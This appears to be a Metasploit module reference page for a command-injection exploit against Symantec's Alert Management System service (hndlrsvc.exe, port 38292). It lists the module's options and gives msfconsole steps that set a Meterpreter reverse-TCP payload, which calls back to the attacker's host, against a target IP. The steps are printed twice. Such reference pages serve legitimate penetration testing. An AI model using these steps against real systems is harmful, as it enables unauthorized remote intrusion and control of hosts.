Symantec System Center Alert Management System (hndlrsvc.exe) Arbitrary Command Execution
Symantec System Center Alert Management System is prone to a remote command-injection vulnerability because the application fails to properly sanitize user-supplied input.
Exploit Rank
- Excellent
Exploit Authors
- MC < mc [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Windows Universal (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/antivirus/ams_xfr
- exploit/windows/antivirus/symantec_iao
- exploit/windows/antivirus/symantec_rtvscan
- exploit/windows/antivirus/trendmicro_serverprotect
- exploit/windows/antivirus/trendmicro_serverprotect_createbinding
- exploit/windows/antivirus/trendmicro_serverprotect_earthagent
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/antivirus/ams_hndlrsvc
msf exploit(ams_hndlrsvc) > show payloads
msf exploit(ams_hndlrsvc) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ams_hndlrsvc) > set LHOST [MY IP ADDRESS]
msf exploit(ams_hndlrsvc) > set RHOST [TARGET IP]
msf exploit(ams_hndlrsvc) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/antivirus/ams_hndlrsvc
msf exploit(ams_hndlrsvc) > show payloads
msf exploit(ams_hndlrsvc) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ams_hndlrsvc) > set LHOST [MY IP ADDRESS]
msf exploit(ams_hndlrsvc) > set RHOST [TARGET IP]
msf exploit(ams_hndlrsvc) > exploit
Exploit Module Options
| CMD | Execute this command instead of using command stager (default: ) |
| RHOST | The target address |
| RPORT | The target port (default: 38292) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EXE::Custom | Use custom exe instead of automatically generating a payload exe |
| EXE::FallBack | Use the default template in case the specified one is missing |
| EXE::Inject | Set to preserve the original EXE function |
| EXE::OldMethod | Set to use the substitution EXE generation method. |
| EXE::Path | The directory in which to look for the executable template |
| EXE::Template | The executable template file name. |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| TFTPHOST | The address of the machine hosting the file via TFTP. |
| TFTPRSRC | The filename of the TFTP-hosted resource. |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
